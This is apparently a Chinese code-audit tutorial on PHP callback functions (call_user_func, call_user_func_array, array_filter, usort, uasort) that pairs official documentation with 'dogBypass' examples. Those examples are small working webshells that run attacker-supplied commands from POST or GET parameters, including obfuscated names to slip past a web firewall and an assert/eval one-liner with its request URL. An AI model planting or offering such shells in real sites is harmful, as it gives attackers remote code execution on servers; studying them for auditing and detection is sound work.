代码审计|PHP代码执行函数进阶版实力上线了!

时间:2022-05-06
本文章向大家介绍代码审计|PHP代码执行函数进阶版实力上线了!,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

本篇涉及函数:call_user_func()、call_user_func_array(),array_filter,usort,uasort()

0x01 call_user_func函数

源自官方的解释:

call_user_func

(PHP 4, PHP 5, PHP 7)

call_user_func — 把第一个参数作为回调函数调用, 后续参数作为回调函数的参数传入。

说明:

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

参数:

callback

将被调用的回调函数(callable)。

parameter

0个或以上的参数,被传入回调函数。

返回值:返回回调函数的返回值。

call_user_func() 的例子

<?php
function barber($type)
{
    echo "You wanted a $type haircut, no problemn";
}
call_user_func('barber', "mushroom");
call_user_func('barber', "shave");
?> 

以上例程会输出:

You wanted a mushroom haircut, no problem You wanted a shave haircut, no problem

`````

利用示例代码 &【dogBypass】

<?php
//func=system&cmd=whoami
$bad_func=$_POST['func'];
$bad_cmd=$_POST['cmd'];
call_user_func($bad_func,$bad_cmd);
?>

0x02 call_user_func_array函数

源自官方的解释:

call_user_func_array

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数。

说明:

mixed call_user_func_array ( callable $callback , array $param_arr )

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

参数:

callback

被调用的回调函数。

param_arr

要被传入回调函数的数组,这个数组得是索引数组。

返回值:返回回调函数的结果。如果出错的话就返回FALSE

Example #1 call_user_func_array()例子

<?php
function foobar($arg, $arg2) {
    echo __FUNCTION__, " got $arg and $arg2n";
}
class foo {
    function bar($arg, $arg2) {
        echo __METHOD__, " got $arg and $arg2n";
    }
}
// Call the foobar() function with 2 arguments
call_user_func_array("foobar", array("one", "two"));
// Call the $foo->bar() method with 2 arguments
$foo = new foo;
call_user_func_array(array($foo, "bar"), array("three", "four"));
?> 

以上例程的输出类似于:

foobar got one and two foo::bar got three and four

`````

利用示例代码 &【dogBypass】

<?php
//func=system&cmd=whoami
$bad_func=$_POST['func'];
$bad_array[0]=$_POST['cmd'];
call_user_func_array($bad_func,$bad_array);
?>

0x03 array_filter函数

源自官方的解释:

array_filter

(PHP 4 >= 4.0.6, PHP 5, PHP 7)

array_filter — 用回调函数过滤数组中的单元

说明:

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

参数:

array

要循环的数组

callback

使用的回调函数

如果没有提供 callback 函数, 将删除 array 中所有等值为 FALSE 的条目。更多信息见转换为布尔值。

flag

决定callback接收的参数形式:

· ARRAY_FILTER_USE_KEY - callback接受键名作为的唯一参数 。

· ARRAY_FILTER_USE_BOTH - callback同时接受键名和键值 。

返回值:返回过滤后的数组。

Example #1 array_filter() 例子

<?php
function odd($var)
{
    // returns whether the input integer is odd
    return($var & 1);
}
function even($var)
{
    // returns whether the input integer is even
    return(!($var & 1));
}
$array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);
$array2 = array(6, 7, 8, 9, 10, 11, 12);
echo "Odd :n";
print_r(array_filter($array1, "odd"));
echo "Even:n";
print_r(array_filter($array2, "even"));
?> 

以上例程会输出:

Odd : Array ( [a] => 1 [c] => 3 [e] => 5 ) Even: Array ( [0] => 6 [2] => 8 [4] => 10 [6] => 12 )

``````

利用代码示例&【dogBypass】

<?php
//func=system&cmd=whoami
$cmd =$_POST['cmd'];
$func =$_POST['func'];
$array1 =array($cmd);
$evil = trim('a r ra y_fi lt er');
$evil = str_replace(" ", "", $evil);
$evil($array1, $func);
?>

0x04 usort函数

源自官方的解释:

(PHP 4, PHP 5, PHP 7)

usort — 使用用户自定义的比较函数对数组中的值进行排序

说明:

bool usort ( array &$array , callable $value_compare_func )

本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。

Note:

If two members compare as equal, their relative order in the sorted array is undefined.

Note: 此函数为 array 中的元素赋与新的键名。这将删除原有的键名,而不是仅仅将键名重新排序。

参数:

array

输入的数组

cmp_function

在第一个参数小于,等于或大于第二个参数时,该比较函数必须相应地返回一个小于,等于或大于 0 的整数。

int callback ( mixed $a, mixed $b )

Caution

Returning non-integer values from the comparison function, such as float, will result in an internal cast to integer of the callback's return value. So values such as 0.99 and 0.1 will both be cast to an integer value of 0, which will compare such values as equal.

返回值:成功时返回 TRUE, 或者在失败时返回 FALSE

``````

利用代码示例:

源自 am0s师傅的博客:http://www.am0s.com/functions/97.html

php>=5.6

<?php usort(...$_GET);?>

GET: [['$a=0','eval($_POST["x"])'],'assert'];

http://www.url.com/t.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert

php>=<5.6

<?php usort($_GET,'asse'.'rt');?>

http://www.url.com/test.php?1=1+1&2=eval($_POST[x])

这里am0s师傅利用到了PHP5.6的一个特性:

利用代码示例&【dogBypass】

<?php

$cmd =$_POST['cmd'];

$func =$_POST['func'];

$array1 =array(1,$cmd);

$a = usort($array1, $func);

0x05 uasort函数

(PHP 4, PHP 5, PHP 7)

uasort — 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

说明:

bool uasort ( array &$array , callable $value_compare_func )

本函数对数组排序并保持索引和单元之间的关联。

主要用于对那些单元顺序很重要的结合数组进行排序。比较函数是用户自定义的。

Note:

If two members compare as equal, their relative order in the sorted array is undefined.

参数:

array

输入的数组。

value_compare_func

用户自定义比较函数的例子请参考 usort() 和 uksort()。

返回值:成功时返回 TRUE, 或者在失败时返回 FALSE

Example #1 uasort() 的基本例子。

<?php
// Comparison function
function cmp($a, $b) {
    if ($a == $b) {
        return 0;
    }
    return ($a < $b) ? -1 : 1;
}
// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
print_r($array);
// Sort and print the resulting array
uasort($array, 'cmp');
print_r($array);
?> 

以上例程会输出:

Array ( [a] => 4 [b] => 8 [c] => -1 [d] => -9 [e] => 2 [f] => 5 [g] => 3 [h] => -4 ) Array ( [d] => -9 [h] => -4 [c] => -1 [e] => 2 [g] => 3 [a] => 4 [f] => 5 [b] => 8 )

``````

利用代码 示例& 【dogBypass】

<?php
$cmd =$_POST['cmd'];
$func =$_POST['func'];
$array1 =array(1,$cmd);
$a =  uasort($array1, $func);
?>

总结

代码执行函数总结篇完结啦!小伙们可将本期与上期的稿件进行结合学习,当然如果你有其他的代码执行函数,欢迎在公众平台上给斗哥留言,咱们一起讨论交流。